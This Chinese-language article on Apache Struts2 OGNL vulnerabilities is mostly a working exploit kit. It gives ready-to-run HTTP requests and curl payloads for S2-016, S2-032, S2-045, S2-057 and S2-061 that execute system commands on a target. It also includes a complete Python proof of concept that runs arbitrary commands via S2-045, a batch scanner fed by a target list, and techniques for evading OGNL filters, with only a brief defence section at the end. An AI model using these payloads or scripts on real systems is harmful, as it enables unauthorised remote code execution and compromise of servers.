Struts2 经典漏洞链

1. OGNL:Struts2 的"原罪"

OGNL 可访问任意 Java 静态方法、通过 ClassLoader 加载类、调用任意对象方法。早期 Struts2 框架对 OGNL 白名单过滤频繁被绕过,几乎每年一个高危 RCE。

2. 时间线与关键漏洞

| 编号 | 影响版本 | 触发点 |
| S2-001 | Struts 2.0.0 | 参数 # 号前缀未过滤 |
| S2-016 | 2.0.02.3.15 | sort 参数二次求值 |
| S2-032 | 2.0.0
2.3.24 | devMode + 通配符 |
| S2-037 | 2.3.202.3.28 | REST 插件 JSON 解析 |
| S2-045 | 2.0.0
2.5.10.1 | Content-Type 头 OGNL |
| S2-046 | 同上 | Content-Disposition |
| S2-057 | 2.0.02.5.20 | namespace OGNL |
| S2-061 | 2.0.0
2.5.25 | %{} 包裹任意参数 |

3. 核心漏洞详解

3.1 S2-016:sort 参数二次求值

SortingIterator 对 sort 参数做了两次 OGNL 求值:

GET /list.action?sort=id&order=asc&n=/%24%7B7%2A7%7D/%257B%257B7%2A7%257D%257D HTTP/1.1
Host: victim.example.com
Accept: \49

返回 49 即存在。RCE:

curl 'http://victim.example.com/struts2-showcase/person/edit.action?person.name=%25%7B7*7%257D'
# 核心利用:
curl 'http://victim.example.com/x.action?redirect:query=%25%7B%23a%3D%40java.lang.Runtime%40getRuntime().exec("id").getInputStream()%2C%23b%3Dnew+java.io.InputStreamReader(%23a)%2C%23c%3Dnew+java.io.BufferedReader(%23b)%2C%23d%3Dnew+char%5B512%5D%2C%23c.read(%23d)%2C%23out%3Dnew+java.lang.String(%23d)%2C%23out%7D'

3.2 S2-032:devMode 控制台

devMode 默认开放调试界面:

curl 'http://victim.example.com/index.action?debug=command&command=id'
curl 'http://victim.example.com/struts/webconsole.html?debug=Console'

3.3 S2-045:Content-Type 头注入

fileupload 组件解析 multipart 时会 OGNL 求值 Content-Type 中的非法字符,绕过 body 过滤 WAF。

POST /index.action HTTP/1.1
Host: victim.example.com
Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Content-Length: 3

xxx

Python 完整 PoC:

import requests, sys, urllib3
urllib3.disable_warnings()

PAYLOAD = (
    "%{"
    "(#_='multipart/form-data')."
    "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
    "(#_memberAccess?(#_memberAccess=#dm):"
    "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
    "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
    "(#ognlUtil.getExcludedPackageNames().clear())."
    "(#ognlUtil.getExcludedClasses().clear())."
    "(#context.setMemberAccess(#dm))))."
    "(#cmd='" + (sys.argv[2] if len(sys.argv)>2 else "id") + "')."
    "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
    "(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
    "(#p=new java.lang.ProcessBuilder(#cmds))."
    "(#p.redirectErrorStream(true)).(#process=#p.start())."
    "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())"
    "}"
)

def exploit(url):
    r = requests.post(url.rstrip("/") + "/index.action", data="xxx",
                      headers={"Content-Type": PAYLOAD}, verify=False, timeout=10)
    print(r.text[:3000])

exploit(sys.argv[1])

3.4 S2-057:namespace OGNL

GET /%24%7B1%2B1%7D/index.action HTTP/1.1
Host: victim.example.com

若重定向到 /2/index.action 则存在。RCE 升级版:

GET /%25%7B%2523a%3D%2540java.lang.Runtime%2540getRuntime().exec(%2527id%2527)%257D/index.action HTTP/1.1

3.5 S2-061:任意参数 %{} 包裹

curl "http://victim.example.com/index.action?redirect:%25%7B%25%23a%3D%2540java.lang.Runtime%2540getRuntime().exec(%2527id%2527)%257D"

4. OGNL 绕过演进

  • # 过滤绕过: # → %23 → \u0023 → {\u0023}
  • Runtime 关键字绕过: 通过反射加载 Class.forName('java.lang.Runtime')
  • 静态方法绕过: #dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS 重新设置 memberAccess

5. 一键批量检测

import requests, urllib3
urllib3.disable_warnings()

def check(url):
    # S2-045
    try:
        r = requests.post(url.rstrip("/") + "/index.action", data="x",
                          headers={"Content-Type": "%{7*7}"}, timeout=5, verify=False)
        if "49" in r.text: print(f"[!] {url} 存在 S2-045")
    except: pass
    # S2-057
    try:
        r = requests.get(url.rstrip("/") + "/%24%7B7*7%7D/", allow_redirects=False, timeout=5, verify=False)
        if "49" in r.headers.get("Location",""): print(f"[!] {url} 存在 S2-057")
    except: pass
    # S2-061
    try:
        r = requests.get(url.rstrip("/") + "/index.action?redirect:%25%7B7*7%257D",
                         allow_redirects=False, timeout=5, verify=False)
        if "49" in r.headers.get("Location",""): print(f"[!] {url} 存在 S2-061")
    except: pass

for u in open("targets.txt"): check(u.strip())

6. 防御

  • 升级到 Struts 2.5.33+,新项目弃用;
  • 关闭 devMode: struts.devMode = false;
  • struts.xml 中配置 OGNL 白名单:
    <constant name="struts.excluded.package.names"
      value="java.lang.reflect, ognl, com.opensymphony, freemarker"/>
    <constant name="struts.excluded.classes"
      value="java.lang.Runtime, java.lang.ProcessBuilder, ognl.Ognl"/>
    
  • WAF 拦截 %{、#、@ 组合;
  • CI 中加入 OWASP Dependency-Check。

OGNL 白名单怎么都写不对——让表达式引擎直接解析用户输入是一条不归路。